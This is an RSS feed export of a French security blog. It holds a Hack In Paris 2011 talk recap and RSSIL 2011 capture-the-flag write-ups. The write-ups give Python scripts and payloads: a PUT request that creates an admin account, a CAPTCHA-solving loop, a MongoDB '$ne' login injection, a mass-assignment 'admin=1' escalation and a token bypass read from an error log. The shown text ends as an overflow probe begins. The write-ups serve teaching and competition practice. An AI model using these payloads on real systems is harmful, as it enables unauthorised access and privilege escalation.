<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Segmentation fault &#187; Sécurité informatique</title>
	<atom:link href="http://www.segmentationfault.fr/categories/securite-informatique/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.segmentationfault.fr</link>
	<description>Projets d’un consultant en sécurité informatique</description>
	<lastBuildDate>Fri, 15 Feb 2019 08:02:10 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>Hack In Paris 2011</title>
		<link>http://www.segmentationfault.fr/securite-informatique/hack-in-paris-2011/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/hack-in-paris-2011/#comments</comments>
		<pubDate>Fri, 24 Jun 2011 15:39:39 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=929</guid>
		<description><![CDATA[Oui je sais, c&#8217;est mal, je n&#8217;ai pas fait de compte-rendu du SSTIC&#8230; En partie parce que j&#8217;ai été un peu débordé ces derniers temps, notamment avec mon arrivée chez Sogeti ESEC. Je tenterai de le faire dès que j&#8217;aurais eu le courage de fouiller dans mes notes. Comme certains l&#8217;auront sans doute remarqué, j&#8217;ai [...]]]></description>
			<content:encoded><![CDATA[<p>Oui je sais, c&rsquo;est mal, je n&rsquo;ai pas fait de compte-rendu du <a href="http://www.sstic.org/2011/">SSTIC</a>&#8230; En partie parce que j&rsquo;ai été un peu débordé ces derniers temps, notamment avec mon arrivée chez <a href="http://esec.fr.sogeti.com/">Sogeti ESEC</a>. Je tenterai de le faire dès que j&rsquo;aurais eu le courage de fouiller dans mes notes.</p>
<p>Comme certains l&rsquo;auront sans doute <a href="http://seclists.org/fulldisclosure/2011/Jan/398">remarqué</a>, j&rsquo;ai participé à l&rsquo;élaboration du programme des conférences de l&rsquo;événement <a href="http://www.hackinparis.com/">Hack In Paris</a>, qui s&rsquo;est déroulé la semaine dernière au centre de conférences de Disneyland Paris. N&rsquo;ayant pas trop participé à l&rsquo;organisation le jour J, je dois dire que pour une première édition, je suis très satisfait du résultat !<br />
<span id="more-929"></span></p>
<p>Comme <a href="http://hackitoergosum.org/">HES</a>, et contrairement au SSTIC, HIP se veut international et est donc exclusivement anglophone. L&rsquo;événement était composé de 2 jours de formations – <em>Win32 exploit development</em> par Peter Van Eeckhoutte et <em>IPv6 Security</em> par Fernando Gontt – et 2 jours de conférences. Étant donné qu&rsquo;il avait lieu en pleine semaine, je n&rsquo;ai pu assister qu&rsquo;aux conférences. Voici un petit résumé de la plupart d&rsquo;entre elles pour ceux qui n&rsquo;ont pas suivi le <a href="https://twitter.com/#!/emiliengirault/status/81261307369754624">live-tweet</a>&#8230;</p>
<ul>
<li><strong><em>Cyberwar-4G aka The Coming Smart Phone Wars</em></strong>, par <a href="http://www.winnschwartau.com/">Winn Schwartau</a>. Bonne keynote où l&rsquo;on fait le tour de tous les problèmes et menaces représentées par les smartphones et autres tablettes, vis à vis de la volonté des constructeurs de préserver le <em>cool factor</em> de leur produit. Bref, tout ce qu&rsquo;il faut pour considérer ces <em>devices </em>comme un <em>security nightmare</em>&#8230;</li>
<li><strong><em>Locking the Throne Room &#8211; ECMA Script 5, a frozen DOM and the eradication of XSS</em></strong>, où <a href="http://heideri.ch/">Mario Heiderich</a> revisite le Cross-Site Scripting, et plus particulièrement les DOM XSS, qui restent méconnues. Il s&rsquo;intéresse en particulier aux bugs des derniers moteurs de parsing des navigateurs, et à leur exploitation pour trouver des vecteurs XSS assez atypiques. Après avoir exposé sa vision assez novatrice (du moins à mon avis) selon laquelle le problème des XSS ne se situe non pas du côté du serveur mais du client, il expose sa solution pour éradiquer les XSS côté client : l&rsquo;utilisation des fonctionnalités d&rsquo;ECMAScript 5. En effet, cette version propose une méthode (Object.defineProperty()) permettant de surcharger toute propriété JavaScript et ce de façon définitive, pouvant être utilisée pour rendre les objets DOM <em>tamper-resistant</em>. Ce genre de protection pourrait être appliquée dans les cas où la présence d&rsquo;une DOM XSS serait catastrophique, comme pour la <a href="http://crypto.stanford.edu/sjcl/">Stanford JS Crypto Library</a>, ou encore&#8230; <a href="http://www.bindshell.net/tools/beef.html">BeEF</a> (et même <a href="http://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/">XeeK</a> !). Bref, un super talk agrémenté de pas mal de démos de XSS en utilisant une astucieuse <a href="http://html5sec.org/innerhtml#">page Web</a> permettant de tester rapidement de nouveaux vecteurs. Les slides sont dispos <a href="http://www.slideshare.net/x00mario/locking-the-throneroom">ici</a>.</li>
<li><strong><em>Be a smart CISO, learn about people</em></strong>, par <a href="http://bruno.kerouanton.net/blog/">Bruno Kerouanton</a>. Conférence à l&rsquo;intention des RSSI, qui dresse un petit tour d&rsquo;horizon des différentes techniques permettant de mettre toutes les chances de son côté pour convaincre ses collègues de l&rsquo;importance de la sécurité. Qui a dit que le Social Engineering était inutile ? <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
<li><strong><em>&laquo;&nbsp;Project Quebec&nbsp;&raquo; and win32 exploit development with pvefindaddr</em></strong> : <a href="http://www.corelan.be/">Peter Van Eekhoutte</a> annonce officiellement la sortie du nouveau remplaçant de pvefindaddr : <a href="https://www.corelan.be/index.php/2011/06/16/mona-1-0-released/">mona</a>. Pour ceux qui ne connaissent pas, il s&rsquo;agit d&rsquo;un plugin pour Immunity Debugger permettant d&rsquo;automatiser la conception d&rsquo;exploits pour Windows. Excellente présentation, liant technique et humour, dosées comme il se doit. Voici les <a href="https://www.corelan.be/public/presentations/athcon_hip2011.pdf">slides</a>.</li>
<li><strong><em>Offensive XSLT</em></strong>, où <a href="http://www.agarri.fr/blog/">Nicolas Grégoire</a> <a href="http://prezi.com/y_fuybfudgnd/offensive-xslt/">démontre</a> les &laquo;&nbsp;fonctionnalités&nbsp;&raquo; dangereuses de XSLT permettant d&rsquo;accéder au système de fichiers de la cible, voire l&rsquo;exécution de code. Quelques démos de <em>pwning </em>en règle viennent agrémenter la théorie. Ce qui fait peur, c&rsquo;est que ces moteurs sont utilisés dans de gros produits, tels que Liferay, Webkit, PHP5 et Gnome. Et ce qui fait encore plus peur, c&rsquo;est la réaction des équipes des projets en question suite à l&rsquo;annonce (responsable) des vulnérabilités. <em>It&rsquo;s not a bug, it&rsquo;s a feature</em>&#8230;</li>
<li><strong><em>Agnitio: the security code review Swiss army knife</em></strong>. <a href="http://www.securityninja.co.uk/blog/">David Rook</a> expose sa vision de la revue de code : il ne s&rsquo;agit pas de lire le maximum de lignes de code en un minimum de temps, mais d&rsquo;éduquer les développeurs pour leur éviter de commettre les mêmes erreurs à l&rsquo;avenir. Il présente alors <a href="http://sourceforge.net/projects/agnitiotool/">Agnitio</a>, un outil libre permettant de générer des checklists à suivre lors de la revue de code. Plutôt sympa. Slides dispos <a href="http://www.slideshare.net/securityninja/hack-in-paris-agnitio">ici</a>.</li>
<li><em><strong>Pentesting iPhone and iPad Applications</strong></em>. Sébastien Andrivet et Flora Bottaccio présentent les techniques et outils d&rsquo;analyse d&rsquo;applications iPhone &amp; iPad, et en particulier le reverse-engineering et l&rsquo;analyse de trafic réseau. Ils dressent un état de l&rsquo;art, proposent une méthodologie d&rsquo;audit applicatif, et présentent deux outils réalisés par leur soin : ADVsock2pipe et ADVInterceptor. Quelques démos de vulnérabilités touchant des applications réelles sont présentées, et on retrouve les <em>usual suspects</em> traditionnels : mots de passe stockés en clair sur disque (ou mieux, en base64&#8230;), communications non chiffrées, etc. État de l&rsquo;art très intéressant quand on n&rsquo;a jamais touché ce genre de plateforme, et qui confirme ce que disait Winn dans sa keynote : la sécurité actuelle des mobiles est un énorme #fail.</li>
<li><strong><em>Skyrack : ROP for masses</em></strong>. Jean-Baptiste Aviat présente son outil de conception assistée d&rsquo;exploits utilisant le Return Oriented Programming pour contourner les protections du style NX/XD (DEP sous Windows). Skyrack est basé sur Metasm et supporte à la fois les binaires PE, ELF et Mach-O, ainsi que les architectures Intel 32 et 64 bits pour le moment. Le fonctionnement de l&rsquo;outil a l&rsquo;air assez similaire à Ropme, avec en plus des opérateurs de recherche avancés sont également disponible afin d&rsquo;imposer par exemple la préservation de certains registres. Skyrack étant scriptable, il ressemble plus à un framework de conception d&rsquo;exploit qu&rsquo;à un outil de génération purement automatique.</li>
<li><strong><em>The forbidden image &#8211; Security impact of SVF on the WWW</em></strong>. Dans sa deuxième <a href="http://www.slideshare.net/x00mario/the-image-that-called-me">conférence</a>, Mario Heiderich présente les dangers dus à l&rsquo;utilisation du format  Scalable Vector Graphics intégré aux pages Web. Et comme il l&rsquo;a si bien dit, les SVG ne devraient pas être considérés comme des images, mais plutôt des minis applications ! En effet, ceux-ci supportent entre autres l&rsquo;inclusion d&rsquo;objets arbitraires, tels que des PDF, applets Java ou Flash&#8230; et bien entendu, les traditionnels scripts JavaScript. De quoi rallonger la liste des vecteurs XSS de sa précédente conf <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Plusieurs démos sont faites, dont une assez impressionnante où il parvient à ouvrir une vidéo Youtube par l&rsquo;intermédiaire d&rsquo;un PDF embarqué dans une favicon en SVG. Il aborde aussi le problème des <em>local SVG</em>, qui consistent à embarquer dans une page Web une image SVG comportant du JS faisant référence à des fichiers locaux. Si le visiteur enregistre l&rsquo;image sur son disque et l&rsquo;ouvre, le code JS a alors accès aux fichiers de tous les sous-dossiers&#8230; Sans parler des bugs de parsing propres à chaque navigateur. Aucune librairie de filtrage n&rsquo;étant disponible à l&rsquo;heure actuelle, l&rsquo;auteur termine par exposer son projet <a href="http://heideri.ch/svgpurifier/SVGPurifier/index.php">SVGPurifier</a> dont le nom est assez explicite.</li>
<li><strong><em>Escaping Windows Sandboxes</em></strong>. Tom Keetch <a href="http://www.slideshare.net/tkeetch/hack-in-paris-2011-assessing-practical-sandboxes">présente</a> les méthodes utilisées pour contourner les sandboxes en mode utilisateur, et s&rsquo;intéresse plus particulièrement au mode protégé d&rsquo;IE9, ainsi qu&rsquo;à Adobe Reader X et Chromium. Au programme : BNO namespace squatting, exploitation de l&rsquo;interface NPAPI, des fuites de handles et attaques sur les presse-papiers.</li>
<li><strong><em>Proactive Network Security through Vulnerability Management</em></strong>, par Gary Miliefsky. Je n&rsquo;ai malheureusement pas suivi cette conférence, trop occupé à revoir des amis de longue date&#8230;</li>
</ul>
<p>En ce qui concerne l&rsquo;organisation, il ne fait nulle doute que Disney était un bon choix. Cadre sympa, buffet à volonté, free <a href="http://securityforfun.wordpress.com/">coca</a>, bonne salle (quoique l&rsquo;isolation sonore était parfois limite), sans oublier les goodies. Bref, un retour plutôt positif pour une première édition. J&rsquo;ai pris quelques photos qui sont disponibles sur ma <a href="https://picasaweb.google.com/emilien.girault/HackInParis2011">galerie Picasa</a>.</p>
<p>Je tiens à remercier toute l&rsquo;équipe, et plus particulièrement les personnes du comité de programme qui ont permis de sélectionner des conférences de qualité. Espérons que ce soit encore mieux en 2012 <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/hack-in-paris-2011/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>RSSIL 2011 Write-Ups</title>
		<link>http://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/#comments</comments>
		<pubDate>Mon, 30 May 2011 17:18:40 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=911</guid>
		<description><![CDATA[J&#8217;ai participé pour la première fois aux RSSIL, événement de sécurité et d&#8217;informatique libre qui se déroule chaque année à Maubeuge. Comme la Nuit Du Hack, l&#8217;événement se compose de conférences et de challenges. J&#8217;ai pour ma part participé au challenge de Hacking, nommé Hacknowledge, en compagnie de membres de l&#8217;équipe HZV. Conférences Côté conférences, [...]]]></description>
			<content:encoded><![CDATA[<p>J&rsquo;ai participé pour la première fois aux <a href="http://www.rssil.org/">RSSIL</a>, événement de sécurité et d&rsquo;informatique libre qui se déroule chaque année à Maubeuge. Comme la Nuit Du Hack, l&rsquo;événement se compose de conférences et de challenges. J&rsquo;ai pour ma part participé au challenge de Hacking, nommé Hacknowledge, en compagnie de membres de l&rsquo;équipe <a href="http://www.hackerzvoice.net/">HZV</a>.<span id="more-911"></span></p>
<h3>Conférences</h3>
<p>Côté conférences, je n&rsquo;ai suivi que les quatre qui m&rsquo;intéressaient le plus :</p>
<ul>
<li><strong>Comment attaquer une place de Bourse en 30 minutes et comment se protéger ?</strong>, par Robert ERRA. N&rsquo;étant pas financier, j&rsquo;ai pu y découvrir le jargon associé à la bourse, ainsi que les joies du trading automatique et du <a href="http://en.wikipedia.org/wiki/2010_Flash_Crash">Flash Crash</a> survenu le 6 mai 2010. La conférence s&rsquo;avère pessimiste (mais probablement, et malheureusement réaliste), et se termine par un petit débat annexe autour du <a href="http://bitcoin.org/">Bitcoin</a> dont on <a href="http://www.01net.com/editorial/533700/bitcoin-la-monnaie-virtuelle-qui-agite-le-web/">parle</a> beaucoup ces derniers temps.</li>
<li>Eloi Vanderbeken présente ensuite <strong>Génération et exploitation de traces</strong>. La problématique de la conférence est de déterminer l&rsquo;origine des données manipulées par des programmes malveillants. Devant l&rsquo;échec de l&rsquo;analyse statique, l&rsquo;auteur présente ses travaux d&rsquo;instrumentation basés sur des outils comme <a href="http://www.pintool.org/">Pin</a>, développé par Intel. Très instructif, mais juste dommage qu&rsquo;il n&rsquo;y ait pas eu de démo.</li>
<li><strong>Dynamic Cryptographic Backdoors</strong>, présentée par Eric Filliol. Petit état de l&rsquo;art quelque peu orienté (mais non moins intéressant) qui rappelle que la sécurité d&rsquo;un algorithme n&rsquo;est rien sans son implémentation, et que les standards officiels sont parfois dangereux si exploités par des malwares.</li>
<li><strong>Android Malwares: is it a dream?</strong>, par Anthony Desnos et Geoffroy Gueguen. Les auteurs commencent par présenter quelques malwares ciblant Android (dont DroidDream) ainsi que les exploits qu&rsquo;ils utilisent pour s&rsquo;octroyer les droits root. Dans une deuxième partie, ils mettent le doigt sur une des faiblesses principales de la plateforme de Google : l&rsquo;incapacité à sécuriser convenablement les applications contre le reverse-engineering. Actuellement, les seuls outils existants se contentent d&rsquo;obfusquer simplement les noms de classes, ce qui est de loin insuffisant. Quelques outils d&rsquo;analyse sont présentés (backsmali, Dex2jar, Jd-GUI), pour terminer par <a href="http://androguard.blogspot.com/">Androguard</a>, framework très prometteur.</li>
</ul>
<h3>Challenge Hacknowledge</h3>
<p>Quant au challenge, celui-ci était plutôt inattendu. Outre les épreuves classiques du type web, reverse-engineering, réseau, crypto, et forensics, nous avions droit à toute une série d&rsquo;épreuves de social engineering et même hardware (cf plus bas). J&rsquo;ai laissé tout ça à mes coéquipiers, et me suis focalisé principalement sur le web et l&rsquo;applicatif. Voici quelques résumés d&rsquo;épreuves.</p>
<h4>Web 1 &#8211; &laquo;&nbsp;Madame est servie&nbsp;&raquo;</h4>
<p>Autant le dire tout de suite, aucun de nous n&rsquo;a compris le titre de cette épreuve. Cependant, cela ne nous a pas empêché de la valider, mais après un certain temps. Une URL était fournie, ainsi qu&rsquo;un fichier pcap. Celui-ci contenait une capture de 2 requêtes HTTP vers un web service retournant des informations en XML. La première requête, un GET sur la page /index.php/api/users, retournait la liste de tous les utilisateus enregistrés dans la base :</p>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;
 &lt;item&gt;
 &lt;username&gt;lupin&lt;/username&gt;
 &lt;password&gt;*********&lt;/password&gt;
 &lt;email&gt;lupin@poudlard.net&lt;/email&gt;
 &lt;admin&gt;0&lt;/admin&gt;
 &lt;/item&gt;
 &lt;item&gt;
 &lt;username&gt;hermione&lt;/username&gt;
 &lt;password&gt;*********&lt;/password&gt;
 &lt;email&gt;hermione@poudlard.net&lt;/email&gt;
 &lt;admin&gt;0&lt;/admin&gt;
 &lt;/item&gt;
...</pre>
<p>La deuxième capture montrait un POST sur /index.php/api/validate, avec les données suivantes :</p>
<pre>token=Z2lubnk6Nzg0NTFiMjAxMDQ0ZTZlMzUxNTg1NWFjMGZlZjZhNGY=</pre>
<p>Le résultat était alors :</p>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;&lt;error&gt;User must be admin...&lt;/error&gt;&lt;/xml&gt;</pre>
<p>Aucune consigne n&rsquo;était donné, mais nous en avons conclu que le but était alors de se connecter en administrateur sur le Web service.</p>
<p>Nous avons commencé par premarquer que le token était encodé en base64, et donnait la chose suivante une fois décodé :</p>
<pre>ginny:78451b201044e6e3515855ac0fef6a4f</pre>
<p>Cela ressemble étrangement à un couple login:password, ce dernier étant hashé en MD5. Peu importe sa valeur, puisque ledit utilisateur n&rsquo;est pas admin. Mais au moins, on sait désormais comment dialoguer avec le web service.</p>
<p>Après avoir passé pas mal de temps à tenter des injections dans tous les champs POST (avec et sans XML), nous avons obtenu un indice intéressant : il s&rsquo;agit d&rsquo;un Web service RESTful http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services. Autrement dit, il supporte les méthodes GET et POST, mais également PUT et DELETE. Celles-ci permettent de lire, créer, modifier et supprimer des objets sur le serveur. Comme notre but est de nous connecter en administrateur, nous pouvons utiliser la méthode PUT pour créer un utilisateur administrateur, et nous y connecter ensuite avec ce nouveau compte. Voici le code Python correspondant.</p>
<pre>import base64
import httplib

# Ajout d'un compte
conn = httplib.HTTPConnection("192.168.0.208")
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn.request( "PUT",
 "/index.php/api/users",
 "username=greg_evans&amp;password=hzv_r0x&amp;email=toto@kikoo.lol&amp;admin=1",
 headers)

"""
On obtient l'affichage suivant :
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;&lt;success&gt;User inserted successfully!&lt;/success&gt;&lt;/xml&gt;
"""

# Connexion avec ce compte
conn.request( "POST",
 "/index.php/api/validate",
 "token="+base64.b64encode("greg_evans:1bc06f78a82e5c7eb6521fc50e87a258"),
 headers)
"""
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;
 &lt;status&gt;success&lt;/status&gt;
 &lt;description&gt;
 Bien joue, vous avez resolu cette epreuve !
 &lt;/description&gt;
 &lt;code&gt;ROBBIE_THE_RETURN&lt;/code&gt;
&lt;/xml&gt;
"""</pre>
<p>On notera que la méthode PUT est normalement utilisée pour mettre à jour et non pour ajouter un objet à une collection. En tout cas notre solution fonctionne et nous a permi de récupéré le flag pour valider l&rsquo;épreuve.</p>
<h4>Web 2 &#8211; Captcha textuel</h4>
<p>La deuxième épreuve consistait à soumettre 5 fois de suite un formulaire web comportant un <a href="http://fr.wikipedia.org/wiki/Captcha">CAPTCHA</a> implémenté sous la forme d&rsquo;une question à laquelle 6 réponses étaient possibles. En réactualisant la page, on se rend compte qu&rsquo;il y a à peine une quinzaine de questions différentes. Aussi il est possible d&rsquo;automatiser les requêtes en se constituant d&rsquo;un dictionnaire de mot-clé et des réponses associées. La seule difficulté à laquelle j&rsquo;ai fait face venait de l&rsquo;utilisation des cookies, alors que j&rsquo;utilisais le module Python urllib2, qui les gère assez mal (surtout comparé à httplib). Là encore je n&rsquo;ai pas le code source de l&rsquo;épreuve, mais voici pour information le code qui nous a permis de la valider :</p>
<pre>import httplib

soluce = {
 "serpent" : "reptile",
 "chiot" : "canin",
 "toutou" : "canin",
 "pigeon": "oiseau",
 "papillons" : "insecte",
 # ...
 }

URL = "/6f503c90-8877-11e0-9d78-0800200c9a66"
cookie = ""

for i in range(5):

 headers={}

 if cookie!="":
 headers["Cookie"] = "PHPSESSID="+cookie

 conn = httplib.HTTPConnection("192.168.0.207")
 conn.request("GET", URL+"/inscription.php", None, headers)
 r = conn.getresponse()

 try:
 cookie = r.getheader("Set-Cookie").split("=")[1].split(";")[0]
 print cookie
 except:
 pass

 t = r.read()
 #print t

 reponse =""
 for m, r in soluce.items():
 if m in t:
 reponse = r

 print "===&gt; reponse : ",reponse

 conn = httplib.HTTPConnection("192.168.0.207")
 headers = {"Content-type": "application/x-www-form-urlencoded",
 "Accept": "text/plain", "Cookie": "PHPSESSID="+cookie}
 conn.request( "POST",
 URL+"/valider.php",
 "nom=aaaaaaaaa&amp;prenom=aaaaaa&amp;email=toto%40gmail.com"+
 "&amp;valider=Valider&amp;mot="+reponse,
 headers)
 t = conn.getresponse().read()

 print t

 if "Erreur" in t:
  break</pre>
<p>Après 5 CHAPTCHAs validés, le flag de l&rsquo;épreuve s&rsquo;affiche sur la page.</p>
<h4>Web 3 &#8211; &laquo;&nbsp;In The Clouds&nbsp;&raquo;</h4>
<p>Dans cette épreuve, on a affaire à un site complet ayant pour thème le Cloud Computing, ce qui constitue d&rsquo;après le staff un bon indice concernant l&rsquo;épreuve. N&rsquo;étant pas très au fait sur le sujet, je commence donc par arpenter le site, et repérer des éventuels paramètres GET/POST susceptibles d&rsquo;être mal filtrés. Une des pages possède le paramètre GET &laquo;&nbsp;cat&nbsp;&raquo; qui permet de sélectionner la catégorie des articles à afficher. Après moultes tentatives d&rsquo;injections SQL, XSS et autres, rien ne passe. Idem en ce qui concerne le formulaire POST de login/mot de passe pour la partie utilisateur. Je jette un coup d’œil aux en-têtes, et je m&rsquo;aperçois qu&rsquo;il y a un cookie qui contient des données ressemblant étrangement à un objet PHP sérialisé. Un petit coup de <a href="http://fr2.php.net/unserialize">unserialize()</a>, et je constate qu&rsquo;il s&rsquo;agit d&rsquo;un tableau de session PHP. Je tente alors d&rsquo;injecter des données dans chacun des champs du tableau, mais en vain. Un petit coup de Dirbuster sur le site, ainsi qu&rsquo;un rapide passage d&rsquo;Acunetix, mais toujours rien. Damned&#8230;</p>
<p>Il nous a fallu un certain temps avant de nous rendre compte que la page &laquo;&nbsp;Mentions légales&nbsp;&raquo; du site comportait une information essentielle, en indiquant que le site était réalisé avec le CMS Codeignitier et le DBMS MongoDB. Un petit coup de Google sur différents exploits sortis pour Codeignitier, et on tombe sur quelques Includes() et XSS. Mais rien d&rsquo;exploitable à priori. Concernant <a href="http://www.mongodb.org/">MongoDB</a>, personne d&rsquo;entre nous ne le connaissait. Il s&rsquo;agit en fait d&rsquo;un gestionnaire de BDD qui, selon Wikipédia, est &laquo;&nbsp;orienté document&nbsp;&raquo; , scalable (d&rsquo;où le &laquo;&nbsp;cloud&nbsp;&raquo;), sans schéma, et dont les données sont au format JSON. Le point le plus intéressant est que ce DBMS utilise non pas SQL mais du <a href="http://en.wikipedia.org/wiki/NoSQL">NoSQL</a>. Ce <a href="http://blog.xebia.fr/2010/04/21/nosql-europe-tour-dhorizon-des-bases-de-donnees-nosql/">langage</a>, utilisé par Facebook (avec sa BDD Cassandra) ou encore Google (BigTable) diffère du SQL dans la mesure où il permet de traiter des données au format différent des BDD relationnelles classiques.</p>
<p>Quel rapport avec la sécurité ? Sur des BDD NoSQL, les injections SQL classiques sont inefficaces. Cependant, il est possible dans certains cas d&rsquo;effectuer des <a href="http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/">Injections NoSQL</a>, qui sont plus ou moins l&rsquo;équivalent. Ces dernières exploitent des particularités du langages, et particulièrement le typage des variable. Dans notre cas, nous voudrions exploiter le formulaire de login ; nous connaissons notre login (hzv) mais pas le mot de passe. Le code PHP simplifié coté serveur ressemble à :</p>
<pre>$users-&gt;find(array(
"username" =&gt; $_GET['username'],
"passwd" =&gt; $_GET['passwd']
));</pre>
<p>Effectuer une requête du type <code>login=hzv&amp;pass=1' or 1=1</code> ne servirait à rien dans un cadre de BDD NoSQL, aussi la syntaxe à utiliser est la suivante :</p>
<pre>login=hzv&amp;pass[$ne]=1</pre>
<p>En PHP, une variable suivie par des crochets est automatiquement castée en tableau, aussi $_GET['pass'] va devenir :</p>
<pre>Array(
  '$ne' =&gt; 1
)</pre>
<p>Appliquée dans le cadre d&rsquo;une requête, ce tableau fait office de condition sur le champ &lsquo;passwd&rsquo;, l&rsquo;<a href="http://www.mongodb.org/display/DOCS/Advanced+Queries">opérateur </a>$ne signifiant &laquo;&nbsp;pas égal&nbsp;&raquo;. Du coup, la requête sélectionne les utilisateurs dont le login est hzv, et le mot de passe différent de 1. On se retrouve logué automatiquement sur le portail. Cas d&rsquo;école, mais encore fallait-il y penser&#8230;</p>
<p>A partir du portail, nous souhaitons nous octroyer les droits admin. Des formulaires sont disponibles pour poster des catégories et articles, mais sont inutiles. Celui qui semble le plus logique à triturer est celui qui permet d&rsquo;éditer son profil en changeant son login, mot de passe, email, etc. Mais pas de champ permettant de modifier le statut utilisateur / administrateur. Là, en me rappelant la 1ère épreuve, je tente de rajouter un <code>&amp;admin=1</code> dans les données POST envoyées, et ça marche <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Notre utilisateur est désormais admin, et on obtient le flag de validation. Gros coup de chance ? Peut-être&#8230;</p>
<h4>Web 5 &#8211; &laquo;&nbsp;Jeux thons&nbsp;&raquo;</h4>
<p>Seule information donnée : une URL, http://192.168.0.207/token/hash/. En arrivant dessus, on se tape une erreur 401 &laquo;&nbsp;Authorization Required&nbsp;&raquo; sans plus d&rsquo;explications. On a alors l&rsquo;idée de remonter au dossier parent, et on tombe sur un directory listing avec un fichier error.log. Celui-ci contient les erreurs Apache générées en direct. On tente d&rsquo;injecter du code PHP via l&rsquo;URL de la 1ère page pour qu&rsquo;il se retrouve dans le log, mais sans effets car les fichiers .log ne sont pas interprétés par Apache, et aucune faille de type Include n&rsquo;est présente autre part ailleurs sur le serveur.</p>
<p>En inspectant de plus près le fichier error.log, on remarque qu&rsquo;un message particulier est généré à chaque erreur 401, et fait référence à un certain mod_auth_token. Google to the rescue, on tombe sur la <a href="http://code.google.com/p/mod-auth-token/">documentation</a> du module Apache correspondant. Ce module permet de générer des liens uniques permettant d&rsquo;accéder à un fichier de façon temporaire, un peu comme sur les services du style Megaupload. L&rsquo;URL générée pour un fichier est du type :</p>
<pre>uri-prefix/token/timestamp-in-hex/rel-path</pre>
<p>En ce qui nous concerne, uri-prefix vaut /token/hash/. Il nous reste à calculer le token et le timestamp. Le timestamp est obtenu par un simple <code>dechex(time())</code>, et le token est généré à partir du nom du fichier, du timestamp et un secret partagé inconnu. Tentons d&rsquo;accéder au fichier normalement situé à /token/hash/index.php, en générant le bon timestamp et un token foireux. On va donc sur une url du type :</p>
<pre>/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/4de08b50/index.php</pre>
<p>Le token est aléatoire, et le timestamp a été généré avec :</p>
<pre>php -r "echo dechex(time());";
4de08b50</pre>
<p>Bien entendu, vu que le token est invalide, on se tape une erreur 401. Mais on obtient une ligne intéressante dans le error.log :</p>
<pre>May 28 05:08:36 2011] [warn] [client 192.168.0.132] mod_auth_token: failed token auth
(got '57CA88C9F83CD5B8B4807BEE940B62EC', expected '448741538E5D997F7AB9D88D0ED79CE9',
uri '/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/index.php')</pre>
<p>On obtient carrément le token attendu ! Du coup, il suffit de le prendre en remplaçant le token bidon que nous avions mis. On rejoue la requête&#8230; et on tombe sur une erreur 404 Not Found. Visiblement, il n&rsquo;y a pas de fichier index.php. On tente alors index.html, pour voir&#8230; Même technique : on envoie d&rsquo;abord un token foireux, on regarde celui attendu dans le message d&rsquo;erreur généré, puis on renvoie le bon. Et bingo, on obtient le flag de validation. Easy, finalement.</p>
<h4>Appli &#8211; Ken Laden</h4>
<p>Il s&rsquo;agit de l&rsquo;épreuve sur laquelle je me suis le plus acharné de la nuit. Elle n&rsquo;était pas d&rsquo;une grande difficulté en soi, mais les informations données au compte goutte donnaient tout son intérêt à cette épreuve.</p>
<p>Le but était de prendre le contrôle d&rsquo;un serveur Web pour récupérer un flag situé dans le dossier juste au dessus de la racine du serveur. Seules informations données :</p>
<ul>
<li> La machine est une Debian 6 (noyau 2.6.32-5 x86)</li>
<li>Pas d&rsquo;ASLR</li>
</ul>
<p>La racine du serveur Web ressemble à ceci :</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_918" class="wp-caption aligncenter" style="width: 484px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/yeswecan.png"><img class="size-full wp-image-918 " title="Yes we can" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/yeswecan.png" alt="Racine du serveur" width="474" height="378" /></a><p class="wp-caption-text">Racine du serveur</p></div>
<p>Après quelques requêtes effectuées sur le serveur, une partie de la page attire mon attention :</p>
<pre>Your protocol : HTTP/1.1</pre>
<p>Je forge alors une requête avec un protocole bidon :</p>
<pre>s = socket.socket()
s.connect(("192.168.0.204", 20080))
s.send("GET /"+" HTTP/" + ("a"*50) + "\r\nHost:192.168.0.204:20080\r\n\r\n")
print s.recv(4096)</pre>
